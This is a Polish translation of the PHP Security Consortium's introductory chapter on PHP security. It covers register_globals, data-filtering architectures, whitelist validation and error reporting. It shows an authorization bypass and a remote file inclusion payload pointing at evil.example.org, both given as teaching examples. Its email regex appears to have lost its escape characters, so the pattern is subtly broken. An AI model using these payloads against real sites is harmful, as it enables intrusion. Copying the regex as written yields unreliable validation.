Rozdział 1. Bezpieczeństwo – informacje ogólne

> Dodaj do ulubionych

Co to jest bezpieczeństwo?

  • Bezpieczeństwo to miara, nie cecha.

    W wielu projektach programistycznych bezpieczeństwo określa się tylko jako prosty wymóg, który trzeba spełnić. Czy to jest bezpieczne? To pytanie jest tak samo subiektywne, jak pytanie czy coś jest gorące.

  • Bezpieczeństwo musi być zrównoważone z kosztami.

    W większości aplikacji uzyskanie względnie wysokiego poziomu zabezpieczeń jest dość łatwe. Jednak w przypadku aplikacji o wysokich wymaganiach dotyczących bezpieczeństwa, np. operujących bardzo cennymi danymi, konieczne jest zastosowanie bardziej szczelnych zabezpieczeń, co podnosi koszty. Koszty te muszą zostać ujęte w budżecie projektu.

  • Bezpieczeństwo musi być zrównoważone z użytecznością.

    Często zdarza się tak, że działania mające na celu zwiększenie bezpieczeństwa aplikacji powodują pogorszenie jej walorów użytkowych. Konieczność wpisywania hasła, określony czas trwania sesji i funkcje kontroli dostępu stanowią utrudnienia dla uprawnionego użytkownika. Czasami podjęcie tych wszystkich środków ostrożności jest konieczne, aby zapewnić aplikacji odpowiedni stopień bezpieczeństwa, ale nie istnieje jedno rozwiązanie, które byłoby odpowiednie w każdym programie. Podczas implementacji zabezpieczeń zawsze warto pamiętać o wygodzie użytkowników uprawnionych do korzystania z zabezpieczanej aplikacji.

  • Zabezpieczenia muszą być częścią całego projektu.

    Jeśli nie uwzględni się ich już na etapie projektowania aplikacji, to w przyszłości będzie trzeba bez przerwy rozwiązywać kolejne problemy dotyczące bezpieczeństwa. Staranne napisanie kodu nie może nadrobić słabego projektu.

Podstawowe zasady

  • Przewiduj niewłaściwe sposoby korzystania z Twojej aplikacji.

    Bezpieczny projekt to tylko jedna z części całościowego rozwiązania. Ważne jest, aby podczas pisania kodu programu mieć cały czas na uwadze możliwe nieprawidłowe sposoby jego wykorzystania. Często programiści koncentrują się tylko na tym, aby aplikacja działała zgodnie z zamierzeniami. Jest to oczywiście konieczne, aby powstał produkt spełniający wymagania klienta, ale nie ma nic wspólnego z pisaniem bezpiecznego kodu.

  • Doszkalaj się.

    Fakt, że czytasz ten tekst świadczy o tym, że nie są Ci obojętne kwestie bezpieczeństwa aplikacji i mimo iż może to zabrzmieć dziwnie, jest to już pierwszy krok do sukcesu. W sieci i druku można znaleźć wiele cennych materiałów, z których część została wymieniona w bibliotece PHP Security Consortium http://phpsec.org/library/.

  • Przede wszystkim FILTRUJ WSZYSTKIE DANE PRZYCHODZĄCE.

    Filtrowanie danych to podstawa bezpieczeństwa aplikacji w każdym języku i na każdej platformie. Tylko inicjacja zmiennych i filtrowanie wszystkich danych przychodzących z zewnętrznych źródeł pozwalają w łatwy sposób wykluczyć większość luk w zabezpieczeniach. Podejście w stylu „winny dopóki nie udowodni, że jest niewinny” jest w tym przypadku lepsze od domniemania niewinności. Oznacza to, że wszystkie dane należy uważać za niepoprawne, dopóki nie uda się udowodnić, że są jednak poprawne (zamiast uważać wszystkie za poprawne, chyba że znajdzie się dowód, który temu zaprzeczy).

Rejestracja zmiennych globalnych

Dyrektywa register_globals od PHP 4.2.0 jest domyślnie wyłączona. Mimo iż sama w sobie nie stanowi ona luki w zabezpieczeniach, to jednak jest ryzykowna. Dlatego programy należy pisać i wdrażać przy wyłączonej dyrektywie register_globals.

Jakie ryzyko niesie ze sobą włączenie tej dyrektywy? Trudno jest pokazać przykład, który będzie dobrze reprezentował każdą możliwą sytuację, ponieważ każdy przypadek jest inny. Najczęściej spotykaną sytuację opisano w podręczniku do PHP:

<?php

if (authenticated_user())
{
    $authorized = true;
}

if ($authorized)
{
    include '/bardzo/poufne/dane.php';
}

?>

Przy włączonej dyrektywie register_globals, można wysłać żądanie tej strony z dołączonym łańcuchem ?authorized=1 , co pozwoli ominąć procedury kontroli dostępu. Oczywiście za tę lukę w całości odpowiada programista, a nie dyrektywa register_globals, ale jest to przykład zwiększonego ryzyka, jakie powoduje jej włączenie. Bez tego na zwykłe zmienne globalne (takie, jak $authorized w podanym przykładzie) dane przesłane przez klienta nie mają wpływu. Najlepiej jest inicjować wszystkie zmienne i podczas pisania programu mieć włączoną opcję error_reporting na E_ALL, dzięki czemu żaden przypadek użycia niezainicjowanej zmiennej nie zostanie przeoczony.

Kolejnym przykładem problemu, jaki może sprawić włączenie dyrektywy register_globals jest poniższy sposób użycia instrukcji include z dynamiczną ścieżką:

<?php

include "$path/script.php";

?>

Przy włączonej dyrektywie register_globals, można wysłać żądanie tej strony z dołączonym łańcuchem ?path=http%3A%2F%2Fevil.example.org%2F%3F, aby otrzymać żądanie równoważne z poniższym:

<?php

include 'http://evil.example.org/?/script.php';

?>

Jeśli opcja allow_url_fopen będzie włączona (a jest domyślnie, nawet w pliku php.ini-recommended), nastąpi dołączenie pliku http://evil.example.org/ tak, jakby był lokalny. Tę poważną lukę w zabezpieczeniach wykryto w kilku popularnych aplikacjach typu open source.

Niebezpieczeństwo można zmniejszyć poprzez inicjację zmiennej $path albo wyłączenie dyrektywy register_globals. Podczas gdy programista może się pomylić i zapomnieć o inicjacji zmiennej, wyłączenie dyrektywy register_globals jest rozwiązaniem globalnym, którego nie da się tak łatwo przeoczyć.

Jest to bardzo wygodne i każdy, kto kiedykolwiek wcześniej musiał ręcznie obsłużyć dane z formularza na pewno doceni te metodę. Jednakże superglobalne tablice $_POST i $_GET są bardzo wygodne w użyciu i nie ma sensu ryzykować poprzez włączanie dyrektywy register_globals. Mimo iż nie zgadzam się z argumentami, jakoby włączenie dyrektywy register_globals było równoznaczne z niską jakością zabezpieczeń, to jednak jestem zwolennikiem jej wyłączania.

Ponadto wyłączenie dyrektywy register_globals zmusza programistę do pamiętania o pochodzeniu danych, co jest ważną cechą każdego programisty, który poważnie traktuje kwestie bezpieczeństwa.

Filtrowanie danych

Zgodnie z wcześniejszymi słowami, filtrowanie danych to podstawa zabezpieczeń aplikacji sieciowej, niezależnie od języka i platformy. Polega to na zastosowaniu procedur pozwalających ocenić poprawność danych wchodzących do aplikacji i z niej wychodzących. Dobrze zaprojektowany program pomaga programiście:

  • uniemożliwić obejście procedur filtrujących,
  • uniemożliwić pomylenie niepoprawnych danych z poprawnymi oraz
  • zidentyfikować pochodzenie danych.

Istnieje wiele opinii na temat tego, w jaki sposób uniemożliwić obejście filtrów danych, ale dwie z nich, z których każda pozwala osiągnąć wystarczający poziom bezpieczeństwa, wydają się dominować.

Metoda na dyspozytora

Jedną metodą jest umożliwienie dostępu bezpośrednio przez internet (po adresie URL) tylko do jednego skryptu PHP. Wszystkie pozostałe pliki są modułami dołączanymi za pomocą instrukcji include i require. Metoda ta wymaga przesyłania w każdym adresie URL zmiennej GET określającej zadanie do wykonania. Zmienną tę można traktować jako zastępstwo dla nazwy skryptu, która zostałaby użyta w prostszym rozwiązaniu Na przykład:

http://example.org/dispatch.php?task=print_form

dispatch.php to jedyny plik znajdujący się w katalogu głównym dokumentów. Pozwala to programiście na dwie ważne rzeczy:

  • Implementację globalnych zabezpieczeń na początku pliku dispatch.php, co do których można mieć pewność, że nie zostaną ominięte.
  • Bezproblemowe dowiedzenie się czy filtrowanie rzeczywiście się odbywa poprzez sprawdzenie przepływu określonego zadania.

Aby to dokładniej objaśnić, posłużę się poniższym przykładowym skryptem, który powinien znajdować się w pliku dispatch.php:

<?php

/* Globalne środki bezpieczeństwa */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;

    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
        break;

    default:
        include '/inc/presentation/index.inc';
        break;
}

?>

Jeśli powyższy plik jest jedynym ogólnodostępnym skryptem, to jest jasne, że zastosowanych na jego początku globalnych zabezpieczeń nie da się ominąć. Ponadto programista może z łatwością śledzić przepływ sterowania podczas wykonywania określonego zadania. Na przykład zamiast przeglądać dużą ilość kodu, można z łatwością zauważyć, że zawartość pliku end.inc jest wyświetlana tylko, gdy zmienna $form_valid ma wartość true, a ponieważ jest ona inicjowana wartością false przed dołączeniem pliku process.inc, jest jasne, że skrypt znajdujący się w tym pliku musi ją ustawić na true, aby nie został z powrotem wyświetlony formularz (zapewne z odpowiednią informacją o błędzie).

Uwaga
Jeśli użyjesz pliku indeksowego typu index.php (zamiast dispatch.php), możliwe będzie używanie adresów URL w postaci http://example.org/?task=print_form.

Można także użyć dyrektywy ForceType lub mod_rewrite serwera Apache, aby móc używać adresów w formie http://example.org/app/print-form.

Metoda na dołączanie

Drugą metodą jest utworzenie jednego modułu odpowiedzialnego za wszystkie zabezpieczenia. Moduł ten musi znajdować się na samym wierzchu (lub bardzo blisko niego) wszystkich publicznych skryptów PHP (dostępnych poprzez URL). Rozważmy poniższy skrypt security.inc:

<?php

switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}

?>

W tym przykładzie każdy zatwierdzony formularz musi mieć zmienną formularzową o nazwie form stanowiącą jego identyfikator, a plik security.inc ma odpowiednią klauzulę case do obsługi filtrowania danych pochodzących z tego formularza. Oto przykład formularza HTML, który spełnia ten warunek:

<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="Zaloguj" />
<p>Nazwa użytkownika:
<input type="text" name="username" /></p>
<p>Hasło:
<input type="password" name="password" /></p>
<input type="submit" />
</form>

Tablica $allowed zawiera listę dozwolonych zmiennych formularza i żeby formularz został przetworzony, musi zostać przekazana identyczna lista. Przepływ sterowania jest zdefiniowany w innym miejscu, a w pliku process.inc wykonywane jest filtrowanie danych.

Uwaga
Dobrym sposobem na zapewnienie dołączania pliku security.inc zawsze na początku każdego skryptu jest użycie dyrektywy auto_prepend_file.

Przykłady filtrów

Dane należy filtrować na zasadzie białej listy. Mimo iż nie da się przedstawić przykładu ilustrującego każdy możliwy typ danych formularzowych, poniżej znajduje się kilka przykładów dobrych praktyk.

Skrypt sprawdzający poprawność adresu e-mail:

<?php

$clean = array();

$email_pattern = '/^[^@s<&>]+@([-a-z0-9]+.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))
{
    $clean['email'] = $_POST['email'];
}

?>

Poniższy skrypt sprawdza czy element $_POST['color'] ma wartość red, green lub blue:

<?php

$clean = array();

switch ($_POST['color'])
{
    case 'red':
    case 'green':
    case 'blue':
        $clean['color'] = $_POST['color'];
        break;
}

?>

Poniższy skrypt sprawdza czy wartość elementu $_POST['num'] jest liczbą całkowitą:

<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

Poniższy skrypt sprawdza czy wartość elementu $_POST['num'] jest liczbą zmiennoprzecinkową:

<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

Konwencje nazewnicze

We wszystkich przedstawionych przykładach używana była tablica o nazwie $clean. Stanowi to ilustrację dobrego sposobu na dowiedzenie się, czy dane mogą być niepoprawne. Nigdy nie należy pozostawiać sprawdzonych danych w superglobalnych tablicach $_POST i $_GET, ponieważ ich zawartość powinna zawsze być traktowana podejrzliwie.

Ponadto dzięki rozluźnieniu zasad dotyczących użycia tablicy $clean wszystko pozostałe można traktować jako niebezpieczne, co jest bliższe praktyce białej listy i zwiększa poziom bezpieczeństwa aplikacji.

Jeśli dane po weryfikacji będą zapisywane w tablicy $clean, jedyną możliwością użycia niesprawdzonych danych jest odwołanie się do elementu tablicy, który nie istnieje, a nie użyciu rzeczywiście niepoprawnych danych.

Synchronizacja

Gdy rozpocznie się przetwarzanie skryptu PHP, wiadomo że całe żądanie HTTP zostało już odebrane. Wówczas użytkownik nie ma już możliwości wysłania danych, a więc nie może też niczego wprowadzić do skryptu (nawet gdyby dyrektywa register_globals była włączona). Dlatego właśnie warto zawsze inicjować zmienne.

Raportowanie błędów

W wersjach PHP starszych od 5, opublikowanej 13 lipca 2004 r., techniki raportowania błędów są bardzo proste. Oprócz starannego programowania można stosować kilka dyrektyw konfiguracyjnych PHP:

  • error_reporting

    Ustawia poziom raportowania błędów. Zaleca się ustawienie tej dyrektywy na E_ALL zarówno w środowisku roboczym jak i produkcyjnym.

  • display_errors

    Określa czy informacje o błędach mają być wyświetlane na ekranie (dołączane do danych wyjściowych). Podczas programowania dyrektywa ta powinna być ustawiona na On, aby były wyświetlane informacje o błędach, natomiast w środowisku produkcyjnym opcję tę należy ustawić na Off, aby dane te nie były wyświetlane u użytkowników (i potencjalnych napastników).

  • log_errors

    Określa czy informacje o błędach mają być zapisywane w dzienniku. Mimo iż może to budzić pewne wątpliwości związane z wydajnością, należy pamiętać, że błędy powinny być rzadkością. Jeśli operacje zapisu danych błędów powodują widoczne obciążenie dysku spowodowane dużą ilością operacji wejścia i wyjścia, to znaczy że masz poważniejsze problemy niż wydajność aplikacji. Dyrektywę tę należy ustawić na On w środowisku produkcyjnym.

  • error_log

    Określa miejsce przechowywania dziennika, w którym mają być zapisywane błędy. Wyznaczonemu plikowi należy nadać uprawnienia zapisu.

Ustawienie dyrektywy error_reporting na E_ALL pomaga wymusić inicjację zmiennych, ponieważ dzięki temu odwołania do niezdefiniowanych zmiennych będą odnotowywane.

Jeśli nie ma dostępu do pliku php.ini i nie wchodzą w grę żadne inne sposoby, każdą z tych dyrektyw można ustawić za pomocą funkcji ini_set().

Dobrym źródłem informacji o wszystkich funkcjach obsługi i raportowania błędów jest podręcznik PHP:

http://www.php.net/manual/en/ref.errorfunc.php

W PHP 5 zostały dodane wyjątki. Więcej informacji na ten temat znajduje się pod adresem:

http://www.php.net/manual/language.exceptions.php

Autor: PHP Security Consortium

Źródło: http://phpsec.org/projects/guide/

Tłumaczenie: Łukasz Piwko

Treść tej strony jest dostępna na zasadach licencji CC BY-NC-SA 2.0